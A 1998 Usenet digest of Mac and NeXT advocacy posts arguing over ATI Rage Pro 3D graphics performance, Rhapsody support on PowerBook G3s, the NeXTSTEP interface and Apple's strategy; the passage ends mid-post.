Date: 24 Jun 1998 22:05:07 GMT
Organization: private
Message-ID: <6mrt6j$2b7@luck.shnet.org>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <6ml92f$2do$2@supernews.com> <6mlvqh$ht4$1@news.cs.tu-berlin.de> <6mm4th$d1p@nntp02.primenet.com> <6mnafn$jq0$1@news.cs.tu-berlin.de> <6mocik$e9m@nntp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>: Do you even know how Alan Kay is?
>
>Do you have any pointers for his recent work?
He's working at Walt Disney Imagineering with the Squeak core team.
Christian
From: "Ziya Oz" <ziyaoz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Tell Apple to make Rhapsody compatible with PBG3s
Date: Wed, 24 Jun 1998 17:49:04 -0400
Organization: BM
Message-ID: <6mrrvu$35s$2@oak.prod.itd.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Here's what Apple says about Rhapsody and PowerBook G3 compatibility:
"Engineering is currently working on support for the new PowerBook G3 systems,
however we don't know if that will be in Rhapsody 1.0 or not. If Rhapsody 1.0
does include support for PowerBooks, it will be limited support and will not
include power management."
So if you wanted to try out Rhapsody or WebObjects on your PBG3 and take it out
to show them to colleagues and clients, as of now, you're out of luck.
If you believe that Rhapsody CR1 should be compatible with PBG3s, won't you take
a minute a send an email (to the address below) to remind Apple that it is a
good idea:
dts@apple.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 26 Jun 1998 15:02:07 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6n0d5f$9ho@newsb.netnews.att.com>
References: <358537F3.66478A32@spamtoNull.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <crichard. <crichard.898832149@blue.weeg.uiowa.edu>
Originator: gupta@tlctest
Microsoft Bookshelf 95 has the following to contribute on
the question of "what does it mean to say that something
is 300% slower than something else ?" The dictionary says :
Usage Note : Statistically speaking, a quantity can be
increased by any percentage but cannot be decreased by
more than 100 percent. Once pollution has been reduced
by 100 percent, for example, it ceases to exist, and no
further reduction is possible. In defiance of this logic,
however, advertisers sometimes refer to "a 150 percent
decrease in lost luggage" or "a new dental rinse that
reduces plaque on teeth by over 300 percent". On reflection,
it is possible to infer the intended meaning in these
examples -- presumably the rinse is three times as effective
as some other tooth-cleaning procedure -- but the ostensible
claim is logically nonsensical, and the phrasing serves
mostly to obscure the fact that the standard of comparison
has not been made explicity. The latter phrase was unacceptable
to 66 percent of the Usage Panel.
[The American Heritage Dictionary of the English
Language, third edition. The Usage Panel had
173 members, chaired by Geoffrey Nunberg, a
linguist associated with Stanford University.
"The Usage Panel of the Third Edition consists
chiefly of writers, editors, and scholars, 22 of
whom are professors of linguistics or English,
eighteen are recipients of the Pulitzer Prize and
one is a Nobel Laureate. Other Panelists occupy
distinguished positions in law, diplomacy, govt.,
business, science and technology, medicine and
the arts." They reside in 28 states, and in
Canada and in England.]
-arun gupta
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 26 Jun 1998 15:28:06 GMT
Organization: Rockwell International
Message-ID: <6n0em6$tnb7@onews.collins.rockwell.com>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net>
<6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net>
<6mua07$7ps$1@hole.sdsu.edu> <6mucfv$abh$1@news.spacelab.net>
<6murqm$998$3@hole.sdsu.edu>
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Cc: etomlins@rohan.sdsu.edu
I am using NeXtstep 3.3 on a 8 bit color display. The NeXTstep GUI is FAR
superior to the MacOS 8 GUI. The NeXTstep GUI looks great in 8 bit color and
it looks great in 2 bit gray scale. Those large shaded icons still look
great in 8 bit.
The NeXtstep GUI is best on a large display (at least 1024 x 768).
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 17:52:00 -0700
Message-ID: <see-below-2406981752000001@dynamic48.pm05.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <358EB8A6.FD78CBF5@chem.uit.no> <359076CE.30A2ADC3@spamtoNull.com> <joe.ragosta-2406980835300001@0.0.0.0> <3591098F.BDFA0AEC@nstar.net> <joe.ragosta-2406981032580001@wil45.dol.net> <35911238.2CB27BE7@nstar.net> <joe.ragosta-2406981143340001@wil52.dol.net> <359127C5.E2AA49AD@nstar.net> <joe.ragosta-2406981334200001@wil38.dol.net>
In article <joe.ragosta-2406981334200001@wil38.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In case you missed it, the article in question stated that Tom's Hardware
> page says that the ATI graphics cards are more or less useless for games.
> I couldn't find that statement anywhere on Tom's Hardware Page. So, either
> the person who posted it quoted Tom incorrectly, or I missed the part
> where Tom called the ATI "useless". Since you've already posted the
> article I responded to, you don't need me to give you the poster's name.
The summaries by chip are not up yet, but here are some of the available
_current_ quotes from Tom's Hardware (from
http://www.tomshardware.com/3dchip0498.html and linked pages). They don't
say the ATI Rage Pro Turbo is useless in so many words, but consistently
rank it poorly compared to its competitors:
(discussing image quality in Incoming)
"ATI Rage Pro Turbo
We are getting to the bottom area of the 3D image quality. The Rage Pro
can't convince with it's strong banding of the sky and the ugly clouds.
It's not running fast either ..."
They note image quality in Quake II is also among the worst, but the GL
driver is still beta.
Also:
"Now the frame rate alone doesn't really tell us the real deal. What's
also required is a good 3D quality to go with a good frame rate.... The
RIVA still doesn't look too great, the ATI is pretty much the same but
slower, the Permedia 2's 3D performance is that low that nobody even cares
about its 3D quality" (note the ATI isn't much faster than Permedia2, and
sometimes slower)
Performance in various games, as a % of Voodoo 2 (this is a single Voodoo
2--the dual scanline-interleave Voodoo 2 is up to twice as fast):
Forsaken (640x480, PII 400): 37.6%
Forsaken (800x600, PII 400): 45.7%
Forsaken (640x480, PII 233): 36.0%
Forsaken (800x600, PII 233): 36.3%
Incoming (640x480, PII 400): 38.4%
Incoming (800x600, PII 400): 42.0%
Incoming (640x480, PII 233): 40.5%
Incoming (800x600, PII 233): 38.1%
Turok (640x480, PII 400): 28.6%
Turok (800x600, PII 400): (won't run on ATI)
Turok (640x480, PII 233): 32.2%
Turok (800x600, PII 233): (won't run on ATI)
Quake II (640x480, PII 400): 36.6%
Quake II (800x600, PII 400): (won't run on ATI)
Quake II (640x480, PII 233): 49.2%
Quake II (800x600, PII 233): (won't run on ATI)
Overal performance (640x480, PII 400):
Dual SLI 3Dfx Voodoo 2: 146%
3Dfx Voodoo 2: 100%
Matrox G200 (pre-release): 84%
NVIDIA RIVA 128: 57%
NVIDIA RIVA ZX (pre-release): 53%
Intel i740: 49%
ATI Rage Pro Turbo: 38%
3D Labs Permedia 2: 31%
Yes, Rage Pro compares decently with Voodoo 1 and other
previous-generation chips, but nobody's talking about those anymore. Yes,
the other chips compared here are somewhere in between the the Rage
Pro/Permedia 2 and the Voodoo 2, with less-dramatic performance
advantages, but Rage Pro still pretty much brings up the rear in both
speed and image quality in all 4 games. Yes, it's possible the Mac RAVE
drivers are better than either the Direct3D or OpenGL drivers on the PC,
but I suspect that won't make much difference in speed, and that it's just
a fairly slow chipset.
I wouldn't personally say the Rage Pro is "useless" for games, or too
slow/poor quality for use in the iMac, but let's just keep in mind that
it's not terribly competitive with what else is out there right now, let
alone what's coming over the next six months (RIVA TNT, 3Dfx Banshee,
etc.) It's basically the bare minimum acceptable chipset for 3D quality
and performance to use in a low-end consumer computer these days.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 24 Jun 1998 17:57:03 -0700
Message-ID: <see-below-2406981757030001@dynamic48.pm05.mv.best.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <joe.ragosta-2406980840300001@0.0.0.0> <35910AA6.9383D8FB@nstar.net> <6mqkt0$7c5$14@ns3.vrx.net>
In article <6mqkt0$7c5$14@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <35910AA6.9383D8FB@nstar.net> Michael Peck claimed:
> > 1) The ATI XPERT is only competitive against cards made before November
> > 10, 1997.
>
> What is that date? Intro of the Voodoo II?
>
> Maury
No, just the date of the review Joe keeps quoting from Tom's Hardware.
Voodoo 2 didn't ship until early this year.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 25 Jun 1998 10:03:42 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mt79u$d21$2@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
<slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net>
<slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net>
<slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net>
<slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com>
<slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com>
<slrn6ot93f.mvv.sal@panix3.panix.com> <35906C9F.16454705@spamtoNull.com>
<slrn6p0vo7.pk0.sal@panix3.panix.com> <6mqg6p$7c5$6@ns3.vrx.net>
<3591DA73.F7128E0C@spamtoNull.com>
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Cc: Limeyville@spamtoNull.com
In <3591DA73.F7128E0C@spamtoNull.com> Jonathan Harker claimed:
> I've presented a barrelful of it.
No, you have not. You have provided _opinions_ that the ATI software on
the PC is poor quality. That's it. You have not backed up anything about
the Mac side of things, and you've also ducked the question as to whether or
not you've even used one on the Mac.
> The problem is not with what I present, it's with what you reject.
What you present is innuendo. Those aren't facts.
Maury
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 09:03:22 +0100
Organization: EarthLink Network, Inc.
Message-ID: <359355C7.35E4@earthlink.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu>
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tomlinson wrote:
>
> Steve Kellener (skellener@earthlink.net) wrote:
>
> : Ahh, then you can use the CLI. Have you ever tried NeXTSTEP?
>
> Rhapsody DR2 only, as well as a few hours' use on an old NeXT
> cube in the Jorgenson Lab at 'Tech. My opinion stands: the
> NeXT GUI may take a good screen shot but it unnecessarily
> ornamented.
So you really HAVEN'T used NEXTSTEP. There's your first problem. Try
using it for a month steadily.
Steve
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 25 Jun 1998 10:00:52 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mt74k$d21$1@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
<slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net>
<slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net>
<slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net>
<slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com>
<slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com>
<6mlmac$cli$2@ns3.vrx.net> <35906CE6.DEA2B5A8@spamtoNull.com>
<6mqfru$7c5$5@ns3.vrx.net> <3591DA2D.3358026A@spamtoNull.com>
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Cc: Limeyville@spamtoNull.com
In <3591DA2D.3358026A@spamtoNull.com> Jonathan Harker claimed:
> Sigh...EVERYTHING software has *bugs*. EVERYTHING. Can you point me to
> bugless software?
There's a difference between having bugs, and being considered buggy.
Don't play that game.
You have stated that since the _quality_ of the ATI software on the PC was
poor, then we should suspect that the quality of the ATI software on the Mac
should be poor. It is not. Period.
Maury
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 25 Jun 1998 15:10:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p4q3n.f3t.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com> <35906A1C.1C1DE66F@spamt <slrn6p0v8d.pk0.sal@panix3.panix.com> <6mr4hr$pgb@newsb.netnews.att.com> <35911E68.1645028A@nstar.net> <3591E19A.9D92737@spamtoNull.com>
On Thu, 25 Jun 1998 05:31:05 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>So, these people want to believe that ATI is the "grand banana" of the
>graphics world? I give up--they want to wallow in their
No one is saying that. We are saying that the ATI card isn't useless.
Keep in mind that we are discussing it as a LOW END card, not as the
be all and end all of 3d graphics. When compared to the low end cards
like the s3, it isn't bad.
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 25 Jun 1998 10:18:33 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mt85p$d21$4@ns3.vrx.net>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com>
<358E8686.FEBF1301@spamtoNull.com> <6mmm4l$n2j$1@new-news.cc.brandeis.edu>
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<35907CF0.BA9046C9@spamtoNull.com> <slrn6p14lj.sk.sal@panix3.panix.com>
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In <3591D1BD.97E76C4B@spamtoNull.com> Jonathan Harker claimed:
> Extensions aren't the drivers, are they?
And you call ME clueless?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 25 Jun 1998 10:17:44 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mt848$d21$3@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
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Cc: Limeyville@spamtoNull.com
In <3591DE62.49CD0025@spamtoNull.com> Jonathan Harker claimed:
> > On a Mac?
>
> What's the difference? There is *no* difference in the hardware.
Now that you have indirectly admitted to not owning one on the Mac, ANY
comments about the quality of the drivers are therefor null.
> > So what?
>
> Translated: means long experience with a company.
So what? This is the computer industry, things change fast.
> Let me explain to you that you are wrong. Please read *EVERYTHING
> RECENT* Tom says about ATI, please read the RECENT article about HOW ATI
> CHEATED ITS DRIVERS FOR BENCHMARKS, please read the RECENT FRAME_RATE
> COMPARISONS on the Rage Pro in 3d.
I did, that's where it came in 3rd even AFTER the "big" shakeup. Nor did
Tom specifically imply that ATI "cheated", he only pointed out that it did
better. You are the one making that assumption.
> > Now it does not, that would be called "performance". Performance and
> > quality are rarely the same thing. We've talked about quality - which
Tom's
> > rates as excellent, so then performance is indeed an issue.
>
> To me, "quality" is inseparable from "performance."
Well that about says it all then.
> That's pretty simple to understand.
What's pretty simple to understand? That you confuse two items and then
claim them to be the same? Exactly how are they inseparable? Image quality
refers to the detail of the image, performance to the frame rate. This claim
of yours is idiotic.
> > In the performance area, the ATI cards are measured by Tom's and
> > consistantly comes in third place in performance, a bit behind the
Viper's
> > and lates RIVA. At the same time this places it far ahead of the rest of
the
> > pack which falls off quickly after the ATI. IE, the ATI's performance is
> > something on the order of 90% of the best cards (except in GL).
>
> GL, my friend, is THE MEASURE OF A DECENT CARD.
No it is not, the measure of the card is the measure of the decent card.
In those measures ATI comes in third.
> Ah, this is like talking
> about the dangers of tobacco with hardcore smokers!....:)
You characterize my arguments this way, yet you've never owned the card in
question, and the pages you quote still (yes, even the new reviews) the ATI
highly.
> > So the card has both excellent image quality, and excellent
performance.
>
> It has *lousy* 3d performance, almost at the bottom of the barrel.
It has good 3D performance, third from the top. There are tens of cards
below it. This is a bogus claim.
> > Yes, and that's why it also does well, because it doesn't do this.
>
> Yes, it assuredly does do this in 3d.
No, it assuredly does not, according to the source we both agree on.
> You're not only ignorant, you're insane....:)
Ah yes, the true mark of someone who's winning an argument.
> HOW COULD YOU MISINTERPRET IT SO BADLY?
I don't know, how could you. Can you demonstrate exactly how I'm
misinterpreting the numbers I quoted from the page directly? In fact, can
you demonstrate how I was interpreting them at all?
> IT's a ROTTEN SHOWING.
It's the third best.
> TRY the Open GL performance. It's far worse than that.
So what? It doesn't do Glide either. This is meaningless. Play the
games, check the framerates.
> This is so STUPID.
It's so stupid to quote your source that shows it as the 3rd fastest
shipping card?
> It's easy to see you know NOTHING about 3D.
Uh huh.
> Why do you bother?
After this post, I won't.
> > > have owned Matrox products, Nvidia cards, S3 products, and several 3dfx
> > > products. That's obviously a lot more than you have. *THAT'S* what I
> > > base my comments on and ONLY that--my own EXPERIENCE with ACTUAL
> > > HARDWARE.
> >
> > As do I, having used every one of those other than the S3.
> You COULDN"T HAVE...:) No way.
I did, I do.
> If you had, you'd NEVER say the things you've said.
I did, I do.
> > As is true on any card.
>
> Sorry, not true at all....:0 Man, have you got a lot to learn...whew!
And these factless posts will help oh so much in that regard.
> > No it's not, Direct3D is.
>
> Please, stop. Your ignorance is appalling! D3d is M$--DX6 is working
> hard at rying to catch GLIDE (do you know what that is?)--Open GL will
> most likely be *in* Windows someday, along with D3D.
D3D is now the most supported and used 3D interface for games. Period.
> What the hell good is D3d on the Mac?????
Meaningless, we're comparing Windows performance, which is all that Tom's
compares.
> > As are most other cards too.
>
> Do yourself a favor and please SHUT UP on this topic. You haven't the
> foggiest....
The foggiest what? Mornings?
> > Yet this says nothing about the Mac side.
>
> FOrget I said it. You are immune to deductive reasoning.
Whereas you are imune to facts.
Maury
From: bosworth@waterw.com (James L. Ryan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Fri, 26 Jun 1998 11:35:41 -0400
Organization: Taliesin
Message-ID: <bosworth-2606981135420001@access28.accsyst.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <crichard.898797810@blue.weeg.uiowa.edu> <joe.ragosta-2506981458100001@wil45.dol.net> <6muidd$mul$1@hercules.acsu.buffalo.edu> <joe.ragosta-2506981948340001@elk82.dol.net> <6mv6ao$sps$1@xena.acsu.buffalo.edu> <joe.ragosta-2606980622310001@elk31.dol.net>
In article <joe.ragosta-2606980622310001@elk31.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
[big snip]
> Exactly what I did. What is 300% of 20? It's 60. That means 300% faster
> than 20 is 80.
[big snip]
Is the confusion here due to the inclusion of the words "faster" and
"slower?" If I say that B runs at 100% of the speed of A which is running
at 20 units, then should not B be running also at 20 units. If on the
other hand I say that B runs 100% faster than A which is running at 20
units, then should not B be running at 40 units. The same logic holds when
the word "slower" is included in the comparison.
--
James L. Ryan -- bosworth@waterw.com
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 25 Jun 1998 15:24:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6p4qta.f3t.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <358BD202.1C45C63B@chem.uit.no> <slrn6or9e4.h0d.sal@panix3.panix.com> <358E86B9.5E41A912@spamtoNull.com> <slrn6ot9ba.mvv.sal@panix3.panix.com> <35906DA4.95B91CE8@spamtoNull.com> <slrn6p0vve.pk0.sal@panix3.panix.com> <6mrpuv$iv5$1@nnrp1.dejanews.com>
(Newsgroups trimmed)
On Wed, 24 Jun 1998 21:09:51 GMT, quinlan@intergate.bc.ca <quinlan@intergate.bc.ca> wrote:
>In article <slrn6p0vve.pk0.sal@panix3.panix.com>,
> sal@panix3.panix.com (Salvatore Denaro) wrote:
>> I guess the PlayStation is a "poor game machine" since it isn't upgradable.
>I think that the price of the PlayStation makes replacement a reasonable
>choice over upgrading. The iMac is over 6x more expensive, OTOH. Your point
>about the iMac having a replacable motherboard is well taken.
The iMac does more than the PS. The PS won't run word or netscape.
At $1299, the iMac is hardly cheap, but it does show that Apple has some
clue about what a consumer machine should be. This is in striking contrast
to crap like the 6x00 series and the performa machines.
Apple should be working to lower the price to the $700 range by Jan98, and
shipping an updated version by that time. DVD and better video would be nice.
--
sal@panix.com
Salvatore Denaro
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Thu, 25 Jun 1998 10:29:15 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980625101246.18736A-100000@ux10.cso.uiuc.edu>
References: <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com> <slrn6ota05.mvv.sal@panix3.panix.com> <3590743F.F7B9CE6D@spamtoNull.com> <6mqhfs$7c5$7@ns3.vrx.net> <3591DE62.49CD0025@spamtoNull.com>
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On Thu, 25 Jun 1998, Jonathan Harker wrote:
> Maury Markowitz wrote:
>
> > > I've *owned* the GD thing!
> >
> > On a Mac?
>
> What's the difference? There is *no* difference in the hardware.
So there should be "*no*" difference in the _software_? Is that what you
are trying to maintain? Or are you saying that because the PC drivers are
buggy that the Mac drivers must also be buggy?
> > > machines with them. I owned ATI products FIVE YEARS AGO.
> >
> > So what?
>
> Translated: means long experience with a company.
In relation to the PC market. Your experiences there do not necessarily
apply to the Mac market.
> > In the performance area, the ATI cards are measured by Tom's and
> > consistantly comes in third place in performance, a bit behind the Viper's
> > and lates RIVA. At the same time this places it far ahead of the rest of the
> > pack which falls off quickly after the ATI. IE, the ATI's performance is
> > something on the order of 90% of the best cards (except in GL).
>
> GL, my friend, is THE MEASURE OF A DECENT CARD. Ah, this is like talking
> about the dangers of tobacco with hardcore smokers!....:)
Pardon, but if the implementation of OpenGL for the ATI cards on the PC is
still in beta or was when the card was tested, shouldn't you make any
comparisons with the final version? Beta is unfinished you know.
> > > If images move at slow, jerky
> > > framerates they *don't look so good* compared to images that move
> > > fluidly and naturally on the screen.
> >
> > Yes, and that's why it also does well, because it doesn't do this.
>
> Yes, it assuredly does do this in 3d.
"Not as fast as the fastest thing available" does not translate to "dog
slow and useless for everything".
If you want to say that the RagePro is slow and useless for everything,
then say that. Don't say that because there is faster stuff, it is slow
and useless for everything. That just doesn't follow.
> > > 1024X768 3D on the Pro CREEPS
> >
> > As is true on any card.
>
> Sorry, not true at all....:0 Man, have you got a lot to learn...whew!
Would you like to point out a card that will do full screen 1024x768 at
anything less than creeping?
Probably a couple of Voodoo2 cards using SLI could do it, but anything
less is going to be slow. At that point it's just a matter of degree.
> > > it or not (obviously you don't) OPEN GL is the biggest thing right now
> > > in 3D!
> >
> > No it's not, Direct3D is.
>
> Please, stop. Your ignorance is appalling! D3d is M$--DX6 is working
> hard at rying to catch GLIDE (do you know what that is?)--Open GL will
> most likely be *in* Windows someday, along with D3D.
>
> What the hell good is D3d on the Mac?????
What the hell good is OpenGL on the Mac eh?
> > > I've had, over the years, more TROUBLE with ATI software drivers than
> > > all of the other cards I've owned put together!
> >
> > Yet this says nothing about the Mac side.
>
> FOrget I said it. You are immune to deductive reasoning.
You are unreasonably applying one situation to a different one.
Tell me exactly how the fact that drivers for PC ATI cards are buggy means
that drivers for Mac ATI cards must also be buggy.
It just does not follow.
It _may_ be true that the Mac drivers are also buggy, but it does not
automatically follow that they must be because the PC ones are. My
personal experience with ATI cards is that the driver software is quite
stable and has caused absolutely no problems for me. It even solved one
problem I was having. I could run the 16bit color version of Dark Colony
on my motherboard graphics, but not the 256 color version. After
installing my XClaim3D, I was able to run both versions with no problems.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Brady A Elliott <belliott@shadow.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Thu, 25 Jun 1998 11:11:48 -0400
Organization: Shadow Information Services
Message-ID: <359268B4.1DDA@shadow.net>
References: <6mkd25$8c44@odie.mcleod.net>
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Michelle L. Buck wrote:.....
:
:
> (nothing) in Rhapsody and we have waited 2+ years.
>
> POSIX: Apple developers don't want it. It was adapted from
> Free BSD after the merger.
> MACH: Apple already had it before the merger
> YellowBox: Deprecated
> WebObjects: Small potatoes. Apple customers don't get it.
> UFS/NFS: Deprecated in favor of HFS+ and de-frag tools
> Display Postscript: Abandoned
> Remote Display: Abandoned
> NeXTstep GUI: Abandoned
> EOF: Same fate as rest of YellowBox
> Consistent Applications: Same fate as YellowBox/impossible along side
> Carbon
> Services: Same fate as YellowBox
> Intel Support: Abandoned
> Sparc Support: Abandoned before purchase
> Enterprise Support: Abandoned
>
I am astounded! If this list is anywhere near correct Apple's long term
prospects are dim indeed. Something mst be pathelogically wrong with
this company to so consistently make bad decisions.
From: adamb@tezcat.com (Adam Bailey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: macs = beta, wintels = vhs
Date: 25 Jun 1998 15:36:46 GMT
Organization: Tezcatlipoca, Inc. - Where the users are 'whacked'
Message-ID: <slrn6p4rke.1j4.adamb@huitzilo.tezcat.com>
References: <macghod-2506980011070001@sdn-ar-001casbarp024.dialsprint.net>
Mail-Copies-To: never
In message <macghod-2506980011070001@sdn-ar-001casbarp024.dialsprint.net>, Steve Sullivan <macghod@concentric.net> wrote...
>I told him if he is a newby, he probably would of been better served with
>a mac. He then made the assertation which is the subject of this post.
>He said he bought a beta, and it became obsolete and he couldnt buy any
>movies for it (everything is now in vhs), and he doesnt want that to
